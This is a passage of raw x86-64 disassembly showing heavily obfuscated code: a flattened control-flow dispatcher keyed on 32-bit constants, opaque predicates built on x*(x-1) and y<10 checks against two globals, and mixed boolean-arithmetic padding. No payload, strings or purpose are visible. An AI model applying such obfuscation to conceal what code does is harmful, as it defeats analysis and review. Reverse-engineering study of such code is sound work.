mov ebp, ecx
xor ebp, 1
and ebp, ecx
mov edx, ecx
not edx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
not edx
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x904fefa7
and ebp, 0x6fb01058
or ebp, edi
or edx, ebx
and ebx, 0x904fefa7
and ecx, 0x6fb01058
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
mov ebp, edx
and ebp, 0xade0184
and ecx, 0xf521fe7b
or ecx, ebp
xor ecx, 0xf521fe7b
or ecx, edx
cmp ecx, 0xffffffff
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
mov edx, ebx
xor dl, al
and dl, bl
mov ebx, eax
xor bl, cl
not bl
and bl, cl
or al, cl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
mov ecx, eax
xor cl, bl
test cl, 1
mov edx, 0x8831608b
mov ecx, 0x99071997
cmovne edx, ecx
test al, 1
mov ecx, 0x8831608b
cmovne ecx, edx
jmp 0x1400bb572
cmp ecx, 0xc1b0cafe
je 0x1400ba542
cmp ecx, 0xc1e3473b
jne 0x1400adc00
mov ecx, dword [0x14024b730]
mov r8d, dword [0x14024b72c]
lea edi, [rcx - 1]
imul edi, ecx
mov ebp, edi
not ebp
mov ecx, ebp
and ecx, 0x5b66297c
mov edx, edi
and edx, 0xa499d683
or edx, ecx
mov ecx, edx
xor ecx, 0x4010200
xor edx, 0x10060978
mov ebx, edi
xor ebx, 0x341f0b78
and ebx, edi
or edx, 0xcbe0f487
mov esi, ebx
not esi
mov eax, edx
and eax, 0x7bda6138
and ecx, 0x4050a40
or ecx, eax
or edx, esi
and esi, 0x7bda6138
and ebx, 0x84259ec7
or ebx, esi
xor ebx, ecx
not edx
or edx, ebx
mov eax, edx
not eax
and eax, 0x3deb506e
and edx, 0xc214af91
or edx, eax
mov eax, edx
xor eax, 0x460884e8
xor edx, 0x9f45b17
mov ecx, edx
and ecx, 0xb1277314
and eax, 0x4ed88ceb
or eax, ecx
and edi, 0xb1277314
and ebp, 0x4ed88ceb
or ebp, edi
xor ebp, eax
xor edx, ebp
test edx, ebp
setne r9b
sete al
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
and bl, al
and r9b, dl
or r9b, bl
mov ebx, edx
or bl, al
xor dl, al
xor dl, 1
mov eax, ebx
xor al, dl
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov r8d, r9d
xor r8b, 1
mov ecx, r8d
and cl, r9b
mov ebx, edx
and bl, al
mov r10d, r8d
and r10b, cl
xor cl, r8b
or cl, r10b
mov r10d, edx
and r10b, bl
xor bl, dl
or bl, r10b
xor bl, cl
xor r8b, dl
or al, r9b
xor al, 1
or al, r8b
mov ecx, eax
xor cl, bl
test al, 1
mov eax, 0xeb107f91
mov edx, 0x76d5862d
cmovne eax, edx
test bl, 1
cmove eax, edx
test cl, 1
mov ecx, 0xeb107f91
jmp 0x1400adbf2
cmp ecx, 0x601ce0e2
je 0x1400ba67d
cmp ecx, 0x633dcb97
jne 0x1400adc00
mov ecx, 0xfffea760
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0xa06b4275
je 0x1400ba73d
cmp ecx, 0xa300cc2d
jne 0x1400adc00
mov ecx, 0xf2edd1be
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0xddd220b0
je 0x1400ba753
cmp ecx, 0xde7fcdb5
jne 0x1400adc00
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xc4b0106
mov ebp, edx
and ebp, 0x40206091
or ebp, ecx
xor ebp, 0x40206091
and edx, 0xb3949e68
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0xd23ee5e4
and edx, 0x2dc11a1b
or edx, ecx
mov ecx, edx
xor ecx, 0x61aa7b8c
xor edx, 0x9e558472
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0x9e821909
mov ebp, ecx
and ebp, 0x84040
or ebp, edx
xor ebp, 0x84040
and ecx, 0x6175a6b6
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x6175a6b6
and ecx, 0x9e8a5949
or ecx, edx
sete cl
setne r8b
cmp eax, 0xa
setl dl
cmp eax, 9
setg r9b
mov ebx, edx
and dl, r8b
and r8b, r9b
and bl, cl
or bl, r8b
xor bl, 1
or bl, r9b
mov eax, ebx
not al
and cl, r9b
or dl, cl
mov ecx, edx
xor cl, 1
and dl, bl
and al, cl
or al, dl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x6c2087f1
mov ebp, 0x94824298
cmovne edx, ebp
test cl, 1
mov ecx, 0x6c2087f1
cmovne ecx, edx
test al, al
jmp 0x1400bc301
cmp ecx, 0x1f8e1bc7
je 0x1400ba769
cmp ecx, 0x20c481a4
jne 0x1400adc00
mov ecx, 0x803f0380
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0x4de1cede
je 0x1400ba87b
cmp ecx, 0x53df688f
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov r8d, dword [0x14024b72c]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov ebp, edi
and ebp, 0xa4430024
mov edx, ebx
and edx, 0x208982
or edx, ebp
mov ebp, edx
xor ebp, 0x8802
xor edx, 0xffdf767d
mov ecx, ebx
xor ecx, 0xa46389a6
and ecx, ebx
mov esi, ecx
not esi
mov eax, edx
and eax, 0xd56363b9
and ebp, 0x20008806
or ebp, eax
or edx, esi
and esi, 0xd56363b9
and ecx, 0x2a9c9c46
or ecx, esi
xor ecx, ebp
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x5b9c7658
and edx, 0xa46389a7
or edx, eax
not edx
and edi, 0xab58245d
and ebx, 0x54a7dba2
or ebx, edi
xor ebx, 0x54a7dba2
mov eax, edx
and eax, ebx
xor ebx, edx
or ebx, eax
mov eax, ebx
not eax
and eax, 0x67853831
and ebx, 0x987ac7ce
or ebx, eax
xor ebx, 0x987ac7ce
setne dl
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg cl
mov eax, ecx
and al, dl
xor cl, dl
or cl, al
mov eax, ecx
xor al, 1
mov ebx, edx
or bl, r9b
xor dl, r9b
not dl
and dl, r9b
xor dl, 1
mov r8d, ebx
xor r8b, dl
or dl, bl
xor dl, 1
or dl, r8b
and al, cl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ebx, eax
and al, dl
xor dl, 1
xor bl, 1
and bl, dl
or al, bl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0x633dcb97
mov ebp, 0xb429f3eb
cmovne edx, ebp
test al, 1
cmove edx, ebp
test cl, 1
mov eax, 0x633dcb97
jmp 0x1400baef8
cmp ecx, 0x908e48b6
je 0x1400ba891
cmp ecx, 0x91995c54
jne 0x1400adc00
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x9cd8e6cd
and edx, 0x63271932
or edx, ecx
mov ebp, edx
xor ebp, 0x61231910
xor edx, 0xc0826c4
and edx, 0xe0c26e6
and ebp, 0xf1f3d919
or ebp, edx
mov ecx, ebp
xor ecx, 0xe0c26e6
mov edx, ebp
xor edx, 0xe0c26e7
and edx, ecx
xor ebp, 0x4141d908
and ebp, 0x4d4df9ca
and ecx, 0xb2b20635
or ecx, ebp
xor ecx, 0xb2b20634
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x86eb736f
and edx, ecx
and ecx, 0x79148c90
or ecx, ebp
mov ebp, ecx
xor ebp, 0x41100410
xor ecx, 0x86eb736f
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xba65c9a5
and ebp, 0x459a365a
or ebp, edi
or ecx, ebx
and ebx, 0xba65c9a5
and edx, 0x459a365a
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x8c5861c0
and edx, 0x73a79e3f
or edx, ecx
xor edx, 0x73a79e3f
sete r9b
setne r8b
cmp eax, 9
setg cl
cmp eax, 0xa
setl bl
mov edx, r8d
or dl, bl
xor dl, 1
mov r11d, ecx
or r11b, r9b
xor r11b, 1
mov r10d, edx
and r10b, r11b
xor r11b, dl
or r11b, r10b
and r9b, cl
and bl, r8b
or bl, r9b
mov edx, ecx
xor dl, r8b
or cl, r8b
xor cl, 1
or cl, dl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
mov eax, edx
and al, cl
mov ebx, eax
xor bl, 1
xor al, dl
or bl, cl
xor bl, 1
or bl, al
xor bl, r11b
mov eax, r11d
xor al, dl
or dl, r11b
xor dl, 1
or dl, al
mov eax, edx
xor al, bl
test al, 1
mov eax, 0xdcd56967
mov ecx, 0x9f7e2ee9
cmovne eax, ecx
test dl, 1
mov ecx, 0xdcd56967
cmovne ecx, eax
jmp 0x1400ba675
cmp ecx, 0xd06d9e1e
je 0x1400baa08
cmp ecx, 0xd1147af0
jne 0x1400adc00
mov rax, qword [rsp + 0x30]
mov ecx, 0x224679da
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0x7143737c
je 0x1400baa1e
cmp ecx, 0x71a614cb
jne 0x1400adc00
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0xfd084315
and edx, ebp
not ebp
and ebp, 0xd9084100
and ecx, 0x24000215
or ecx, ebp
xor ecx, 0x24000215
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x83029f42
and edx, 0x7cfd60bd
or edx, ecx
mov ebp, edx
xor ebp, 0x81f523a8
mov ebx, edx
xor ebx, 0x81f523a9
and ebx, ebp
xor edx, 0x7e0adc56
and edx, 0xfffffffe
and ebp, 1
or ebp, edx
mov ecx, ebx
not ecx
mov edx, ebp
not edx
mov edi, ecx
and edi, 0x77b22e97
and ebx, 0x884dd168
or ebx, edi
or ecx, edx
and edx, 0x77b22e97
and ebp, 0x884dd168
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x1921100a
mov ebp, ecx
and ebp, 0xc00c0720
or ebp, edx
xor ebp, 0xc00c0720
and ecx, 0x26d2e8d5
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x26d2e8d5
and ecx, 0xd92d172a
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x7c47ae17
and ecx, 0x83b851e8
or ecx, ebp
xor ecx, 0x7c47ae17
xor edx, ecx
test edx, ecx
setne r10b
sete r9b
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov ecx, eax
xor cl, r8b
and cl, al
mov ebx, ecx
xor bl, 1
and cl, bl
xor cl, 1
mov edx, ecx
xor dl, bl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
and dl, r9b
and cl, r10b
or cl, dl
mov edx, eax
xor dl, r9b
and dl, al
and r10b, r8b
and al, r9b
or al, r10b
mov ebx, edx
xor bl, 1
xor dl, al
xor al, 1
or al, bl
xor al, 1
or al, dl
mov edx, eax
not dl
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
xor cl, 1
and cl, dl
or al, cl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0xadfa5a70
mov edx, 0xf3b4cc73
cmovne ecx, edx
test al, al
mov eax, ecx
cmovne eax, edx
test bl, bl
jmp 0x1400adbf2
cmp ecx, 0xb117365a
je 0x1400bab81
cmp ecx, 0xb1a94783
jne 0x1400adc00
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0xfdb26a0e
and edx, ebp
not ebp
and ebp, 0x8c004000
and ecx, 0x71b22a0e
or ecx, ebp
xor ecx, 0x71b22a0e
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x2fd04574
and edx, 0xd02fba8b
or edx, ecx
mov ecx, edx
xor ecx, 0x2d9dd085
xor edx, 0xd2622f7a
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0x8330cc6e
and ecx, 0x7ccf3391
or ecx, edx
mov edx, ecx
xor edx, 0x28050110
xor ecx, 0x80004c4a
and ecx, 0xd4ca7ecb
and edx, 0x2b358134
or edx, ecx
mov ecx, edx
xor ecx, 0x4483483
xor edx, 0x2b358134
mov ebp, edx
and ebp, 0xf083cb6c
and ecx, 0xf7c3493
or ecx, ebp
xor ecx, 0xf083cb6c
xor edx, ecx
test edx, ecx
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
and cl, al
and bl, r8b
and al, dl
or al, bl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov edx, eax
xor dl, 1
mov ebx, eax
and bl, dl
mov r8d, ebx
and r8b, al
xor bl, al
or bl, r8b
xor bl, cl
mov eax, edx
and al, cl
xor dl, cl
or dl, al
mov eax, ebx
xor al, dl
test dl, 1
mov ecx, 0xc1464446
mov edx, 0x1a774f88
cmovne ecx, edx
test bl, 1
cmovne ecx, edx
not al
test al, 1
mov eax, 0xc1464446
jmp 0x1400bc0e6
cmp ecx, 0xeced332a
je 0x1400bab97
cmp ecx, 0xeff3dd10
jne 0x1400adc00
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xa1e982f
and ecx, edx
and edx, 0xf5e167d0
or edx, ebp
xor edx, 0xf5e167d0
mov ebp, edx
and ebp, ecx
xor edx, ecx
or edx, ebp
mov ebp, edx
not ebp
mov ecx, ebp
or ecx, 1
mov ebx, ecx
not ebx
and ebp, 0xfffffffe
and edx, 1
or edx, ebp
mov ebp, edx
not ebp
mov edi, ecx
and edi, 0xaa9a8a12
and ebx, 0x556575ec
or ebx, edi
or ecx, ebp
and ebp, 0xaa9a8a12
and edx, 0x556575ed
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xfd6a0444
and edx, ecx
and ecx, 0x295fbbb
or ecx, ebp
xor ecx, 0x295fbbb
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xd9ec2729
and ecx, 0x2613d8d6
or ecx, ebp
xor ecx, 0x2613d8d6
or ecx, edx
cmp ecx, 0xffffffff
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
and dl, al
and bl, cl
or bl, dl
mov edx, eax
or dl, cl
xor dl, 1
xor al, cl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
xor al, 1
mov edx, ebx
xor dl, 1
and dl, bl
mov ecx, edx
and cl, bl
xor dl, bl
or dl, cl
xor dl, al
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0x2c51cbd3
mov eax, 0xf923f864
cmovne ecx, eax
test dl, 1
cmove ecx, eax
test bl, 1
mov eax, 0x2c51cbd3
jmp 0x1400bc0e6
cmp ecx, 0x2ecd0050
je 0x1400babad
cmp ecx, 0x2f0b4b19
jne 0x1400adc00
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
and ebp, 0xe6b11a39
and edx, 0x194ee5c6
or edx, ebp
mov ecx, edx
xor ecx, 0xe6b11a39
mov ebp, edx
xor ebp, 0xe6b11a38
and ebp, ecx
xor edx, 0x10484040
and edx, 0x96795840
and ecx, 0x6986a7bf
or ecx, edx
xor ecx, 0x6986a7be
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0x9bbdef29
and ecx, 0x644210d6
or ecx, edx
mov edx, ecx
not edx
and edx, 0x290efeb1
and ecx, 0xd6f1014e
or ecx, edx
xor ecx, 0x4d4cee67
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
xor al, 1
mov ebx, ecx
or bl, dl
xor bl, 1
xor cl, dl
not cl
and cl, dl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
xor cl, al
mov edx, ecx
xor dl, 1
and al, dl
xor dl, al
test dl, 1
mov edx, 0x41bdcef1
mov ebp, 0xb7acf8b4
cmovne edx, ebp
test cl, cl
mov ecx, edx
mov ebp, 0x41bdcef1
cmovne ecx, ebp
jmp 0x1400bc2ff
cmp ecx, 0xfc9d207e
je 0x1400bad1b
cmp ecx, 0xfd3dde45
jne 0x1400adc00
mov ecx, 0x25c6027f
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0x41bdcef1
je 0x1400baf0e
cmp ecx, 0x432916bb
jne 0x1400adc00
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xf16075d6
and ecx, edx
not edx
and edx, 0xf16075d6
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xe9f8a29
and ecx, 0xf16075d6
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
sete dl
setne r8b
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
mov ebx, r8d
xor dl, cl
and dl, cl
xor cl, r8b
or r8b, al
xor bl, al
not bl
and bl, al
mov eax, r8d
xor al, bl
xor bl, 1
xor al, 1
or bl, r8b
xor bl, 1
or bl, al
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov eax, ecx
xor al, 1
mov edx, ebx
xor dl, 1
and al, dl
or dl, cl
and cl, bl
or cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x2bcc94cc
mov ebp, 0x77db8f61
cmovne eax, ebp
test cl, 1
mov ecx, eax
mov ebp, 0x2bcc94cc
jmp 0x1400b4f41
cmp ecx, 0x8a49aa01
je 0x1400bb003
cmp ecx, 0x8ae5d361
jne 0x1400adc00
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
mov ecx, ebp
xor ecx, 0x23a78b28
and ecx, ebp
not ebp
mov ebx, ebp
and ebx, 0x21a70320
and edx, 0x2008808
or edx, ebx
xor edx, 0x2008808
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xdc5874d6
and ecx, 0x23a78b29
or ecx, edx
mov edx, ecx
not edx
and edx, 0x9ad514e
and ecx, 0xf652aeb1
or ecx, edx
xor ecx, 0xf652aeb1
mov edx, ecx
and edx, ebp
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0x7ac5eaa3
and ecx, 0x853a155c
or ecx, edx
xor ecx, 0x853a155c
setne cl
sete r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl dl
mov eax, edx
and cl, dl
xor dl, r8b
or al, r8b
xor al, 1
or al, dl
and bl, r8b
or cl, bl
mov edx, ecx
and cl, al
xor al, 1
xor dl, 1
mov ebx, eax
xor bl, dl
and bl, al
and dl, al
or dl, cl
mov eax, edx
xor al, bl
test dl, dl
mov ecx, 0xb7acf8b4
mov edx, 0x2f0b4b19
cmovne ecx, edx
test bl, bl
mov ebp, 0xb7acf8b4
jmp 0x1400b6b6c
cmp ecx, 0xc63f1d61
je 0x1400bb0ac
cmp ecx, 0xc7292a84
jne 0x1400adc00
mov ecx, dword [0x14024b730]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0x21020c01
mov ecx, ebp
and ecx, 0x6a59100
or ecx, edx
mov edx, ecx
xor edx, 0x2218100
xor ecx, 0xf95a6eff
mov eax, ebp
xor eax, 0x27a79d01
and eax, ebp
mov edi, eax
not edi
mov esi, ecx
and esi, 0x2dde3edc
and edx, 0x2218101
or edx, esi
or ecx, edi
and edi, 0x2dde3edc
and eax, 0xd221c123
or eax, edi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xd85862ff
and ecx, 0x27a79d00
or ecx, eax
and ebx, 0xf200cc13
and ebp, 0xdff33ec
or ebp, ebx
mov eax, ebp
xor eax, 0xdff33ec
xor ebp, 0xf200cc13
and ebp, ecx
not ecx
and eax, ecx
or ebp, eax
not ebp
or ebp, ecx
cmp ebp, 0xffffffff
sete cl
cmp dword [0x14024b72c], 0xa
setl bl
mov eax, ebx
or al, cl
xor al, 1
mov edx, ebx
xor dl, cl
or al, dl
mov r8d, eax
xor r8b, 1
and cl, dl
and dl, bl
xor cl, 1
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
and dl, al
or al, cl
and cl, r8b
or cl, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xbaeae0e9
mov ebp, 0x4de1cede
cmovne edx, ebp
test cl, 1
mov ecx, edx
mov ebp, 0xbaeae0e9
cmovne ecx, ebp
jmp 0x1400b874b
cmp ecx, 0x6bec7e3a
je 0x1400bb1b2
cmp ecx, 0x6c2087f1
jne 0x1400adc00
mov ecx, 0x53e9952a
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0xaa6e889e
je 0x1400bb1dc
cmp ecx, 0xaace57e7
jne 0x1400adc00
mov ecx, 0x8a49aa01
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0xe5fc6bc7
je 0x1400bb452
cmp ecx, 0xe6fd93cc
jne 0x1400adc00
mov ecx, 0x601ce0e2
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0x1cf944ab
je 0x1400bb468
cmp ecx, 0x1da8688e
jne 0x1400adc00
mov ecx, 0x18098c68
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0x58851e69
je 0x1400bb579
cmp ecx, 0x58e5e47a
jne 0x1400adc00
mov ecx, 0xac362295
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0x9b0bf50f
je 0x1400bb64f
cmp ecx, 0x9b59af15
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ebp, [rdx - 1]
imul ebp, edx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0xfffffffe
mov ecx, ebp
xor ecx, 0xfffffffe
and ecx, ebp
mov edi, edx
and edi, ecx
xor ecx, edx
or ecx, edi
mov edx, ecx
not edx
and edx, 0xfbf5f1e2
and ecx, 0x40a0e1d
or ecx, edx
xor ecx, 0x40a0e1d
and ebx, 0xb703fea5
and ebp, 0x48fc015a
or ebp, ebx
xor ebp, 0x48fc015a
mov edx, ecx
and edx, ebp
xor ebp, ecx
or ebp, edx
mov ecx, ebp
not ecx
and ecx, 0x6680ee55
and ebp, 0x997f11aa
or ebp, ecx
xor ebp, 0x997f11aa
sete r8b
setne r10b
cmp eax, 9
setg r9b
cmp eax, 0xa
setl al
mov edx, r10d
or dl, al
mov ecx, r10d
xor cl, al
not cl
and cl, al
mov ebx, edx
xor bl, cl
xor cl, 1
xor bl, 1
or cl, dl
xor cl, 1
or cl, bl
and r10b, al
and r9b, r8b
or r9b, r10b
mov edx, eax
and dl, r8b
xor al, r8b
or al, dl
xor al, 1
mov edx, r9d
and dl, al
xor al, r9b
or al, dl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and dl, bl
or bl, al
and al, cl
or al, dl
mov edx, eax
xor dl, bl
test al, 1
mov ecx, 0x40d80803
mov eax, 0x803f0380
cmovne ecx, eax
test bl, 1
mov ebp, 0x40d80803
cmovne ecx, ebp
jmp 0x1400bb90a
cmp ecx, 0xd6d6a003
je 0x1400bb798
cmp ecx, 0xd77cd372
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ebx, [rdx - 1]
imul ebx, edx
mov ebp, ebx
not ebp
mov edx, ebp
and edx, 0x1050d304
mov ecx, ebx
and ecx, 0xefaf2cfa
or ecx, edx
xor ecx, 0xefaf2cfa
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
and ebp, 0xb9e78e96
and ebx, 0x46187169
or ebx, ebp
mov ecx, ebx
xor ecx, 0x42085120
mov edi, edx
not edi
mov ebp, edi
and ebp, 0x2dd2aad9
and edx, 0xd22d5526
or edx, ebp
xor ebx, 0x29c28a90
and ebx, 0x2dd2aad9
and ecx, 0xd22d5526
or ecx, ebx
xor ecx, edx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
setne r8b
sete r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg cl
mov edx, ecx
xor dl, r10b
mov eax, edx
not al
and al, r10b
mov ebx, ecx
or bl, r10b
xor al, 1
mov r11d, eax
xor r11b, bl
or al, bl
xor al, 1
or al, r11b
and dl, cl
and r9b, r8b
and cl, r10b
or cl, r9b
xor dl, 1
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
xor al, 1
mov edx, eax
or dl, cl
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x5efac84a
mov ebp, 0x3362b42
cmovne ecx, ebp
test al, 1
mov eax, ecx
mov ebp, 0x5efac84a
cmovne eax, ebp
test dl, 1
jmp 0x1400b7388
cmp ecx, 0x76d5862d
je 0x1400bb912
cmp ecx, 0x77db8f61
jne 0x1400adc00
mov ecx, 0x432916bb
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0xbaeae0e9
je 0x1400bb928
cmp ecx, 0xbbbdf97a
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edi, [rdx - 1]
imul edi, edx
mov ecx, edi
not ecx
mov ebp, ecx
and ebp, 0xfc371e6e
mov edx, edi
and edx, 0x3c8e191
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x99f0e23d
and edx, 0x660f1dc2
or edx, ebp
mov ebx, edx
xor ebx, 0x983001ac
xor edx, 0x6102f802
and edx, 0x630afa03
and ebx, 0x9cf505fc
or ebx, edx
mov edx, ebx
xor edx, 0xa40158
and ecx, 0xf3f0e4ab
and edi, 0xc0f1b54
or edi, ecx
mov ecx, edi
xor ecx, 0xc1950
xor ebx, 0x630afa03
xor edi, 0xf3f0e4ab
mov ebp, ebx
and ebp, 0x9d5326a7
and edx, 0x62acd958
or edx, ebp
or ebx, edi
and edi, 0x9d5326a7
and ecx, 0x62acd958
or ecx, edi
xor ecx, edx
not ebx
or ebx, ecx
cmp ebx, 0xffffffff
setne r8b
sete bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov edx, eax
xor dl, bl
and bl, al
and dl, al
and cl, r8b
or cl, bl
mov eax, edx
and al, cl
xor dl, cl
or dl, al
mov ebx, edx
xor bl, 1
mov eax, edx
and al, bl
xor dl, al
xor al, 1
or al, bl
xor al, 1
or al, dl
mov r8d, eax
and r8b, cl
mov edx, ecx
xor dl, bl
or bl, cl
xor cl, 1
xor al, 1
and al, cl
or al, r8b
xor bl, 1
or bl, dl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0x9e15bbf7
mov ecx, 0x56714237
cmovne edx, ecx
test bl, 1
mov ecx, 0x9e15bbf7
jmp 0x1400bc2fc
cmp ecx, 0xf3f669f3
je 0x1400bba02
cmp ecx, 0xf414307c
jne 0x1400adc00
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ebx, ebp
or ebx, 0x83aba75d
mov ecx, ebx
not ecx
or edx, 0x28404000
and edx, 0xa8ebc410
and ebp, 0x300234d
or ebp, edx
and ebx, 0xa8ebc410
and ecx, 0x541418a2
or ecx, ebx
xor ecx, ebp
mov edx, ecx
not edx
and edx, 0x7c5458a2
and ecx, 0x83aba75d
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
